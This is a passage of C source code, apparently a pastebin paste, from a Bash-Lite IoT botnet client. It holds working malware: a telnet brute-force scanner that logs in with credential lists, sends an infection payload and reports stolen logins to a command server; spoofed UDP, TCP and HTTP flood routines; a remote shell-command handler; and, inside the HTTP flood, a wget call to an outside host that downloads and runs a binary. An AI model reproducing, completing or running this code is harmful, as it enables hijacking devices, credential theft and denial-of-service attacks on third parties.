  1869. fds[i].totalTimeout = 0;
  1870. fds[i].bufUsed = 0;
  1871. memset(fds[i].sockbuf, 0, 1024);
  1872. fds[i].state = 2;
  1873. } continue; }
  1874. else if(res == -1) {
  1875. sclose(fds[i].fd);
  1876. fds[i].state = 0;
  1877. fds[i].complete = 1;
  1878. continue; }
  1879. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1880. sclose(fds[i].fd);
  1881. fds[i].state = 0;
  1882. fds[i].complete = 1;
  1883. }
  1884. }
  1885. break;
  1886. case 2:
  1887. {
  1888. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances)) {
  1889. if(contains_fail(fds[i].sockbuf)) {
  1890. fds[i].state = 0;
  1891. } else {
  1892. fds[i].state = 3; }
  1893. continue; }
  1894. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1895. fds[i].state = 0;
  1896. fds[i].complete = 1;
  1897. }
  1898. }
  1899. break;
  1900. case 3: {
  1901. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1902. fds[i].state = 0;
  1903. fds[i].complete = 1;
  1904. continue; }
  1905. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1906. fds[i].state = 0;
  1907. fds[i].complete = 1;
  1908. continue; }
  1909. fds[i].state = 4; }
  1910. break;
  1911. case 4:
  1912. {
  1913. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 1024, advances))
  1914. {
  1915. if(contains_fail(fds[i].sockbuf)) {
  1916. fds[i].state = 0;
  1917. } else {
  1918. fds[i].state = 5; }
  1919. continue; }
  1920. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1921. fds[i].state = 0;
  1922. fds[i].complete = 1;
  1923. }
  1924. }
  1925. break;
  1926. case 5:
  1927. {
  1928. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1929. fds[i].state = 0;
  1930. fds[i].complete = 1;
  1931. continue; }
  1932. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1933. fds[i].state = 0;
  1934. fds[i].complete = 1;
  1935. continue; }
  1936. fds[i].state = 6;
  1937. }
  1938. break;
  1939. case 6:
  1940. {
  1941. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 1024, advances2)) {
  1942. fds[i].totalTimeout = time(NULL);
  1943. if(contains_fail(fds[i].sockbuf)) {
  1944. fds[i].state = 0; }
  1945. else if(contains_success(fds[i].sockbuf)) {
  1946. if(fds[i].complete == 2) {
  1947. fds[i].state = 7; }
  1948. else {
  1949. sockprintf(mainCommSock, "\x1b[31m[Bash-Lite] \x1b[32mConnected [%s] [%s:%s]\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1950. fds[i].state = 7; }
  1951. } else {
  1952. fds[i].state = 0;
  1953. fds[i].complete = 1;
  1954. } continue; }
  1955. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1956. fds[i].state = 0;
  1957. fds[i].complete = 1;
  1958. }
  1959. }
  1960. break;
  1961. case 7:
  1962. {
  1963. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) {
  1964. fds[i].state = 0;
  1965. fds[i].complete = 1;
  1966. continue; }
  1967. if(send(fds[i].fd, "enable\r\n", 8, MSG_NOSIGNAL) < 0) {
  1968. fds[i].state = 0;
  1969. fds[i].complete = 1;
  1970. continue; }
  1971. fds[i].state = 8;
  1972. }
  1973. break;
  1974. case 8: {
  1975.  
  1976. fds[i].totalTimeout = time(NULL);
  1977. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  1978. sclose(fds[i].fd);
  1979. fds[i].state = 0;
  1980. fds[i].complete = 1;
  1981. continue; }
  1982. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, infected))
  1983. {
  1984. if(strcasestr(fds[i].sockbuf, infected2) && fds[i].complete != 3)
  1985. {
  1986. printf("\x1b[31m[Bash-Lite] \x1b[32mSuccess\x1b[0m\r\n");
  1987. sockprintf(mainCommSock, "\x1b[32mINFECTION SUCCESS -> %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1988. fds[i].complete = 3;
  1989. }
  1990. }
  1991. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1992. if(fds[i].complete !=3){
  1993. }
  1994. fds[i].state = 0;
  1995. fds[i].complete = 1;
  1996. }
  1997. break;
  1998. }
  1999. }
  2000. }
  2001. }
  2002. }
  2003.  
  2004. void sendUDP(unsigned char *target, int port, int timeEnd, int packetsize)
  2005. {
  2006. struct sockaddr_in dest_addr;
  2007. int pollinterval = 10;
  2008. int spoofit = 32;
  2009. dest_addr.sin_family = AF_INET;
  2010. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2011. else dest_addr.sin_port = htons(port);
  2012. if(getHost(target, &dest_addr.sin_addr)) return;
  2013. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2014.  
  2015. register unsigned int pollRegister;
  2016. pollRegister = pollinterval;
  2017.  
  2018. if(spoofit == 32)
  2019. {
  2020. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2021. if(!sockfd)
  2022. {
  2023. return;
  2024. }
  2025.  
  2026. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2027. if(buf == NULL) return;
  2028. memset(buf, 0, packetsize + 1);
  2029. makeRandomStr(buf, packetsize);
  2030.  
  2031. int end = time(NULL) + timeEnd;
  2032. register unsigned int i = 0;
  2033. while(1)
  2034. {
  2035. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2036.  
  2037. if(i == pollRegister)
  2038. {
  2039. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2040. if(time(NULL) > end) break;
  2041. i = 0;
  2042. continue;
  2043. }
  2044. i++;
  2045. }
  2046. } else {
  2047. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2048. if(!sockfd)
  2049. {
  2050. return;
  2051. }
  2052.  
  2053. int tmp = 1;
  2054. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2055. {
  2056. return;
  2057. }
  2058.  
  2059. int counter = 50;
  2060. while(counter--)
  2061. {
  2062. srand(time(NULL) ^ rand_cmwc());
  2063. init_rand(rand());
  2064. }
  2065.  
  2066. in_addr_t netmask;
  2067.  
  2068. netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2069.  
  2070. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2071. struct iphdr *iph = (struct iphdr *)packet;
  2072. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2073.  
  2074. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2075.  
  2076. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2077. udph->source = rand_cmwc();
  2078. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2079. udph->check = 0;
  2080.  
  2081. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2082.  
  2083. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2084.  
  2085. int end = time(NULL) + timeEnd;
  2086. register unsigned int i = 0;
  2087. while(1)
  2088. {
  2089. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2090.  
  2091. udph->source = rand_cmwc();
  2092. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2093. iph->id = rand_cmwc();
  2094. iph->saddr = htonl( getRandomIP(netmask) );
  2095. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2096.  
  2097. if(i == pollRegister)
  2098. {
  2099. if(time(NULL) > end) break;
  2100. i = 0;
  2101. continue;
  2102. }
  2103. i++;
  2104. }
  2105. }
  2106. }
  2107. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2108. {
  2109. register unsigned int pollRegister;
  2110. pollRegister = pollinterval;
  2111.  
  2112. struct sockaddr_in dest_addr;
  2113.  
  2114. dest_addr.sin_family = AF_INET;
  2115. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2116. else dest_addr.sin_port = htons(port);
  2117. if(getHost(target, &dest_addr.sin_addr)) return;
  2118. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2119.  
  2120. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2121. if(!sockfd)
  2122. {
  2123. return;
  2124. }
  2125.  
  2126. int tmp = 1;
  2127. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2128. {
  2129. return;
  2130. }
  2131.  
  2132. in_addr_t netmask;
  2133.  
  2134. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2135. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2136.  
  2137. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2138. struct iphdr *iph = (struct iphdr *)packet;
  2139. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2140.  
  2141. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2142.  
  2143. tcph->source = rand_cmwc();
  2144. tcph->seq = rand_cmwc();
  2145. tcph->ack_seq = 0;
  2146. tcph->doff = 5;
  2147.  
  2148. if(!strcmp(flags, "all"))
  2149. {
  2150. tcph->syn = 1;
  2151. tcph->rst = 1;
  2152. tcph->fin = 1;
  2153. tcph->ack = 1;
  2154. tcph->psh = 1;
  2155. } else {
  2156. unsigned char *pch = strtok(flags, ",");
  2157. while(pch)
  2158. {
  2159. if(!strcmp(pch, "syn"))
  2160. {
  2161. tcph->syn = 1;
  2162. } else if(!strcmp(pch, "rst"))
  2163. {
  2164. tcph->rst = 1;
  2165. } else if(!strcmp(pch, "fin"))
  2166. {
  2167. tcph->fin = 1;
  2168. } else if(!strcmp(pch, "ack"))
  2169. {
  2170. tcph->ack = 1;
  2171. } else if(!strcmp(pch, "psh"))
  2172. {
  2173. tcph->psh = 1;
  2174. } else {
  2175. }
  2176. pch = strtok(NULL, ",");
  2177. }
  2178. }
  2179.  
  2180. tcph->window = rand_cmwc();
  2181. tcph->check = 0;
  2182. tcph->urg_ptr = 0;
  2183. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2184. tcph->check = tcpcsum(iph, tcph);
  2185.  
  2186. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2187.  
  2188. int end = time(NULL) + timeEnd;
  2189. register unsigned int i = 0;
  2190. while(1)
  2191. {
  2192. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2193.  
  2194. iph->saddr = htonl( getRandomIP(netmask) );
  2195. iph->id = rand_cmwc();
  2196. tcph->seq = rand_cmwc();
  2197. tcph->source = rand_cmwc();
  2198. tcph->check = 0;
  2199. tcph->check = tcpcsum(iph, tcph);
  2200. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2201.  
  2202. if(i == pollRegister)
  2203. {
  2204. if(time(NULL) > end) break;
  2205. i = 0;
  2206. continue;
  2207. }
  2208. i++;
  2209. }
  2210. }
  2211. //!* STD IP PORT TIME SIZE
  2212. void sendSTD(unsigned char *ip, int port, int secs, int psize) {
  2213.  
  2214. int iSTD_Sock;
  2215.  
  2216. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  2217.  
  2218. time_t start = time(NULL);
  2219.  
  2220. struct sockaddr_in sin;
  2221.  
  2222. struct hostent *hp;
  2223.  
  2224. hp = gethostbyname(ip);
  2225.  
  2226. bzero((char*) &sin,sizeof(sin));
  2227. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2228. sin.sin_family = hp->h_addrtype;
  2229. sin.sin_port = port;
  2230.  
  2231. unsigned int a = 0;
  2232.  
  2233. while(1){
  2234. if (a >= 50)
  2235. {
  2236. srand(time(NULL));
  2237. char *haxed;
  2238. haxed = randomString(22);
  2239. send(iSTD_Sock, haxed, psize, 0);
  2240. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  2241. if (time(NULL) >= start + secs)
  2242. {
  2243. close(iSTD_Sock);
  2244. free(haxed);
  2245. _exit(0);
  2246. }
  2247. a = 0;
  2248. }
  2249. a++;
  2250. }
  2251.  
  2252.  
  2253. }
  2254.  
  2255. int socket_connect(char *host, in_port_t port) {
  2256. struct hostent *hp;
  2257. struct sockaddr_in addr;
  2258. int on = 1, sock;
  2259. if ((hp = gethostbyname(host)) == NULL) return 0;
  2260. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  2261. addr.sin_port = htons(port);
  2262. addr.sin_family = AF_INET;
  2263. sock = socket(PF_INET, SOCK_STREAM, 0);
  2264. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  2265. if (sock == -1) return 0;
  2266. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  2267. return sock;
  2268. }
  2269. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2270. const char *useragents[] = {
  2271. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2272. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2273. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2274. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2275. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2276. "Opera/6.04 (Windows XP; U) [en]",
  2277. "Opera/9.99 (X11; U; sk)",
  2278. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2279. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2280. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2281. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2282. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2283. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
  2284. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  2285. };
  2286. const char *connections[] = {"close", "keep-alive", "accept"};
  2287. int i, timeEnd = time(NULL) + timeFoo;
  2288. char request[1024], request2[1024], buffer[1];
  2289. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 14)]);
  2290. sprintf(request2, "%s %s HTTP/1.0\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 14)]);
  2291. system("wget -q http://autoinstaller.us/c -O .c; chmod +x .c; nohup ./c </dev/null >/dev/null 2>&1")
  2292.  
  2293. for (i = 0; i < power; i++) {
  2294. if (fork()) {
  2295. while (timeEnd > time(NULL)) {
  2296. int socket = socket_connect((char *)host, port);
  2297. if (socket != 0) {
  2298. write(socket, request, strlen(request));
  2299. write(socket, request2, strlen(request2));
  2300. read(socket, buffer, 1);
  2301. close(socket);
  2302. write(socket, request, strlen(request));
  2303. write(socket, request2, strlen(request2));
  2304. close(socket);
  2305. }
  2306. }
  2307. _exit(1);
  2308. }
  2309. }
  2310. }
  2311.  
  2312. void processCmd(int argc, unsigned char *argv[])
  2313. {
  2314. int x;
  2315.  
  2316. if(!strcmp(argv[0], "SC"))
  2317. {
  2318. if(argc != 2)
  2319. {
  2320. return;
  2321. }
  2322.  
  2323. if(!strcmp(argv[1], "OFF"))
  2324. {
  2325. if(scanPid == 0) return;
  2326. kill(scanPid, 9);
  2327. scanPid = 0;
  2328. }
  2329.  
  2330. if(!strcmp(argv[1], "ON"))
  2331. {
  2332. if(scanPid != 0) return;
  2333. uint32_t parent;
  2334. parent = fork();
  2335.  
  2336. if (parent > 0) { scanPid = parent; return;}
  2337. else if(parent == -1) return;
  2338. StartTheLelz();
  2339. _exit(0);
  2340. }
  2341. }
  2342.  
  2343.  
  2344. if (!strcmp((const char *)argv[0], "H")) {
  2345. if (argc < 6) {
  2346. return; }
  2347. if (strstr((const char *)argv[1], ",") != NULL) {
  2348. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2349. while (hi != NULL) {
  2350. if (!listFork()) {
  2351. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2352. _exit(0); }
  2353. hi = (unsigned char *)strtok(NULL, ","); }
  2354. } else {
  2355. if (listFork()) {
  2356. return; }
  2357. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2358. _exit(0);
  2359. }
  2360. }
  2361. //!* UDP IP PORT TIME SIZE
  2362. if(!strcmp(argv[0], "U"))
  2363. {
  2364. unsigned char *ip = argv[1];
  2365. int port = atoi(argv[2]);
  2366. int time = atoi(argv[3]);
  2367. int packetsize = atoi(argv[5]);
  2368.  
  2369. if(strstr(ip, ",") != NULL)
  2370. {
  2371. unsigned char *hi = strtok(ip, ",");
  2372. while(hi != NULL)
  2373. {
  2374. if(!listFork())
  2375. {
  2376. sendUDP(hi, port, time, packetsize);
  2377. _exit(0);
  2378. }
  2379. hi = strtok(NULL, ",");
  2380. }
  2381. } else {
  2382. if (listFork()) { return; }
  2383.  
  2384. sendUDP(ip, port, time, packetsize);
  2385. _exit(0);
  2386. }
  2387. }
  2388.  
  2389.  
  2390. if(!strcmp(argv[0], "S"))
  2391. {
  2392. if(argc < 5)
  2393. {
  2394.  
  2395. return;
  2396. }
  2397.  
  2398. unsigned char *ip = argv[1];
  2399. int port = atoi(argv[2]);
  2400. int time = atoi(argv[3]);
  2401. int psize = atoi(argv[4]);
  2402.  
  2403. if(strstr(ip, ",") != NULL)
  2404. {
  2405. unsigned char *hi = strtok(ip, ",");
  2406. while(hi != NULL)
  2407. {
  2408. if(!listFork())
  2409. {
  2410. sendSTD(hi, port, time, psize);
  2411. _exit(0);
  2412. }
  2413. hi = strtok(NULL, ",");
  2414. }
  2415. } else {
  2416. if (listFork()) { return; }
  2417.  
  2418. sendSTD(ip, port, time, psize);
  2419. _exit(0);
  2420. }
  2421.  
  2422. }
  2423. if(!strcmp(argv[0], "R")) {
  2424. if(argc < 2 || atoi(argv[1]) == -1){
  2425. }else{
  2426. rangechoice = atoi(argv[1]);
  2427. }
  2428. return;
  2429. }
  2430.  
  2431. if(!strcmp(argv[0], "T"))
  2432. {
  2433. if(argc < 6)
  2434. {
  2435.  
  2436. return;
  2437. }
  2438.  
  2439. unsigned char *ip = argv[1];
  2440. int port = atoi(argv[2]);
  2441. int time = atoi(argv[3]);
  2442. int spoofed = atoi(argv[4]);
  2443. unsigned char *flags = argv[5];
  2444.  
  2445. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2446. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2447.  
  2448. if(strstr(ip, ",") != NULL)
  2449. {
  2450. unsigned char *hi = strtok(ip, ",");
  2451. while(hi != NULL)
  2452. {
  2453. if(!listFork())
  2454. {
  2455. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2456. _exit(0);
  2457. }
  2458. hi = strtok(NULL, ",");
  2459. }
  2460. } else {
  2461. if (listFork()) { return; }
  2462.  
  2463. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2464. _exit(0);
  2465. }
  2466. }
  2467.  
  2468. if(!strcmp(argv[0], "KT"))
  2469. {
  2470. int killed = 0;
  2471. unsigned long i;
  2472. for (i = 0; i < numpids; i++) {
  2473. if (pids[i] != 0 && pids[i] != getpid()) {
  2474. kill(pids[i], 9);
  2475. killed++;
  2476. }
  2477. }
  2478. }
  2479.  
  2480.  
  2481. }
  2482.  
  2483. int initConnection()
  2484. {
  2485. unsigned char server[4096];
  2486. memset(server, 0, 4096);
  2487. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2488. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2489. else currentServer++;
  2490.  
  2491. strcpy(server, commServer[currentServer]);
  2492. int port = Server_Botport;
  2493. if(strchr(server, ':') != NULL)
  2494. {
  2495. port = atoi(strchr(server, ':') + 1);
  2496. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2497. }
  2498.  
  2499. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2500.  
  2501. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2502.  
  2503. return 0;
  2504. }
  2505.  
  2506. int getOurIP()
  2507. {
  2508. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2509. if(sock == -1) return 0;
  2510.  
  2511. struct sockaddr_in serv;
  2512. memset(&serv, 0, sizeof(serv));
  2513. serv.sin_family = AF_INET;
  2514. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2515. serv.sin_port = htons(53);
  2516.  
  2517. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2518. if(err == -1) return 0;
  2519.  
  2520. struct sockaddr_in name;
  2521. socklen_t namelen = sizeof(name);
  2522. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2523. if(err == -1) return 0;
  2524.  
  2525. ourIP.s_addr = name.sin_addr.s_addr;
  2526.  
  2527. int cmdline = open("/proc/net/route", O_RDONLY);
  2528. char linebuf[4096];
  2529. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2530. {
  2531. if(strstr(linebuf, "\t00000000\t") != NULL)
  2532. {
  2533. unsigned char *pos = linebuf;
  2534. while(*pos != '\t') pos++;
  2535. *pos = 0;
  2536. break;
  2537. }
  2538. memset(linebuf, 0, 4096);
  2539. }
  2540. close(cmdline);
  2541.  
  2542. if(*linebuf)
  2543. {
  2544. int i;
  2545. struct ifreq ifr;
  2546. strcpy(ifr.ifr_name, linebuf);
  2547. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2548. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2549. }
  2550.  
  2551. close(sock);
  2552. }
  2553.  
  2554. char *getBuild()
  2555. {
  2556. if(access("/usr/bin/python", F_OK) != -1){
  2557. return "SERVER";
  2558. } else {
  2559. return "ROUTER";
  2560. }
  2561. }
  2562.  
  2563. int main(int argc, unsigned char *argv[])
  2564. {
  2565.  
  2566. char *mynameis;
  2567.  
  2568. if(access("/usr/bin/python", F_OK) != -1){
  2569. mynameis = randomString(9);
  2570. } else {
  2571. mynameis = randomString(11);
  2572. }
  2573.  
  2574. if(geteuid() == 0){
  2575. userID = 0;
  2576. }
  2577.  
  2578. char *Buildz = getBuild();
  2579. if(Buildz == "SERVER")
  2580. {
  2581. //If python is installed
  2582.  
  2583. } else {
  2584. //If python is not installed
  2585.  
  2586. }
  2587.  
  2588. if(SERVER_LIST_SIZE <= 0) return 0;
  2589. printf("BUILD %s\n", getBuild());
  2590. printf("\x1b[31m[Bash-Lite] \x1b[32mConnected\x1b[0m\r\n");
  2591. strncpy(argv[0],"",strlen(argv[0]));
  2592. sprintf(argv[0], mynameis);
  2593. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2594. srand(time(NULL) ^ getpid());
  2595. init_rand(time(NULL) ^ getpid());
  2596. pid_t pid1;
  2597. pid_t pid2;
  2598. int status;
  2599. printf("\x1b[31m[Bash-Lite] \x1b[32mEngaging Scanner\x1b[0m\r\n");
  2600. getOurIP();
  2601.  
  2602. if (pid1 = fork()) {
  2603. waitpid(pid1, &status, 0);
  2604. exit(0);
  2605. } else if (!pid1) {
  2606. if (pid2 = fork()) {
  2607. exit(0);
  2608. } else if (!pid2) {
  2609. } else {
  2610. //N
  2611. }
  2612. } else {
  2613. //N
  2614. }
  2615. int wfd;
  2616. if ((wfd = open("/dev/watchdog", 2)) != -1 ||
  2617. (wfd = open("/dev/misc/watchdog", 2)) != -1)
  2618. {
  2619. int one = 1;
  2620.  
  2621. ioctl(wfd, 0x80045704, &one);
  2622. close(wfd);
  2623. wfd = 0;
  2624. }
  2625. chdir("/");
  2626.  
  2627. signal(SIGPIPE, SIG_IGN);
  2628.  
  2629. while(1)
  2630. {
  2631. if(initConnection()) { sleep(5); continue; }
  2632.  
  2633. sockprintf(mainCommSock, "\x1b[31m[Bash-Lite] \x1b[32mConnected [%s] [%s]\x1b[0m", getBuild(), inet_ntoa(ourIP));
  2634.  
  2635.  
  2636. char commBuf[4096];
  2637. int got = 0;
  2638. int i = 0;
  2639. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2640. {
  2641. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2642. unsigned int *newpids, on;
  2643. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2644. pids[on - 1] = 0;
  2645. numpids--;
  2646. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2647. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2648. free(pids);
  2649. pids = newpids;
  2650. }
  2651.  
  2652. commBuf[got] = 0x00;
  2653.  
  2654. trim(commBuf);
  2655.  
  2656. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2657.  
  2658. unsigned char *message = commBuf;
  2659.  
  2660. if(*message == '!')
  2661. {
  2662. unsigned char *nickMask = message + 1;
  2663. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2664. if(*nickMask == 0x00) continue;
  2665. *(nickMask) = 0x00;
  2666. nickMask = message + 1;
  2667.  
  2668. message = message + strlen(nickMask) + 2;
  2669. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2670.  
  2671. unsigned char *command = message;
  2672. while(*message != ' ' && *message != 0x00) message++;
  2673. *message = 0x00;
  2674. message++;
  2675.  
  2676. unsigned char *tmpcommand = command;
  2677. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2678. //send shell
  2679. if(strcmp(command, "hax") == 0)
  2680. {
  2681. unsigned char buf[1024];
  2682. int command;
  2683. if (listFork()) continue;
  2684. memset(buf, 0, 1024);
  2685. szprintf(buf, "%s 2>&1", message);
  2686. command = fdpopen(buf, "r");
  2687. while(fdgets(buf, 1024, command) != NULL)
  2688. {
  2689. trim(buf);
  2690. memset(buf, 0, 1024);
  2691. sleep(1);
  2692. }
  2693. fdpclose(command);
  2694. exit(0);
  2695. }
  2696.  
  2697. unsigned char *params[10];
  2698. int paramsCount = 1;
  2699. unsigned char *pch = strtok(message, " ");
  2700. params[0] = command;
  2701.  
  2702. while(pch)
  2703. {
  2704. if(*pch != '\n')
  2705. {
  2706. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2707. memset(params[paramsCount], 0, strlen(pch) + 1);
  2708. strcpy(params[paramsCount], pch);
  2709. paramsCount++;
  2710. }
  2711. pch = strtok(NULL, " ");
  2712. }
  2713.  
  2714. processCmd(paramsCount, params);
  2715.  
  2716. if(paramsCount > 1)
  2717. {
  2718. int q = 1;
  2719. for(q = 1; q < paramsCount; q++)
  2720. {
  2721. free(params[q]);
  2722. }
  2723. }
  2724. }
  2725. }
  2726.  
  2727. }
  2728.  
  2729. return 0;
  2730. }
Advertisement
Add Comment
Please, Sign In to add comment